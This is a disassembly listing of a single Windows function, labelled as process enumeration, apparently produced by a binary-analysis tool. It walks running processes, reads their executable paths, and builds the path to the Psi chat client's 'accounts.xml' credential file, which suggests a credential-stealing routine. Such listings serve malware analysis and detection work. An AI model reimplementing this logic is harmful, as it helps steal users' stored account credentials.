Function at 0x1009db70
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
mov eax, dword [0x10102008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x490], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [ebp - 0x490]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x1009dee8
lea eax, [ebp - 0x490]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x1009dee8
mov esi, dword [ebp - 0x488]
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x1009dec1
push esi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1009dd13
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x1009dd13
lea eax, [ebp - 0x210]
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x234], 0
lea edx, [eax + 2]
mov dword [ebp - 0x230], 7
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1009dc50
sub eax, edx
lea ecx, [ebp - 0x244]
sar eax, 1
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.100b3af0
cmp dword [ebp - 0x230], 8
lea ecx, [ebp - 0x244]
mov eax, dword [ebp - 0x234]
cmovae ecx, dword [ebp - 0x244]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x244]
cmovae ecx, dword [ebp - 0x244]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x25c]
call fcn.100b44e0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
movups xmm0, xmmword [ebp - 0x25c]
mov edx, dword [ebp - 0x230]
movups xmmword [ebp - 0x22c], xmm0
movq xmm0, qword [ebp - 0x24c]
movq qword [ebp - 0x21c], xmm0
cmp edx, 8
jb 0x1009dd49
mov ecx, dword [ebp - 0x244]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1009dd07
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009df2c
push edx
push ecx
call fcn.100bfa23
add esp, 8
jmp 0x1009dd43
push 0
push 0x100f3188
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x218], 0xf
call fcn.100b3d90
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x21c]
test ecx, ecx
je 0x1009ddb0
lea edx, [ebp - 0x22c]
lea ecx, [ebp - 0x25c]
call fcn.10097710
push eax
lea ecx, [ebp - 0x22c]
call fcn.100b36c0
mov edx, dword [ebp - 0x248]
cmp edx, 0x10
jb 0x1009ddaa
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009dda0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009df2c
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 0x21c]
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 1
jb 0x1009df31
cmp dword [ebp - 0x218], 0x10
lea eax, [ebp - 0x22c]
push 1
cmovae eax, dword [ebp - 0x22c]
push 0x100fc694
push ecx
push eax
push ecx
push dword [ebp - 0x214]
lea ecx, [ebp - 0x244]
call fcn.100b6510
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
lea ecx, [ebp - 0x244]
mov esi, esp
push str.Psiprofilesdefault_accounts.xml
call fcn.100b3600
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.1009c9e0
mov edx, dword [ebp - 0x230]
add esp, 0x30
cmp edx, 0x10
jb 0x1009de89
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009de7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009df2c
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x218]
cmp edx, 0x10
jb 0x1009dec7
mov ecx, dword [ebp - 0x22c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009deb5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009df2c
push edx
push ecx
call fcn.100bfa23
add esp, 8
jmp 0x1009dec7
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x490]
mov dword [ebp - 0x214], 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x1009dbd0
push ebx
call edi
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1009df1b
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009df11
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009df2c
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bf4c9
mov esp, ebp
pop ebp
ret
call fcn.100cc12d
call fcn.100833c0
int3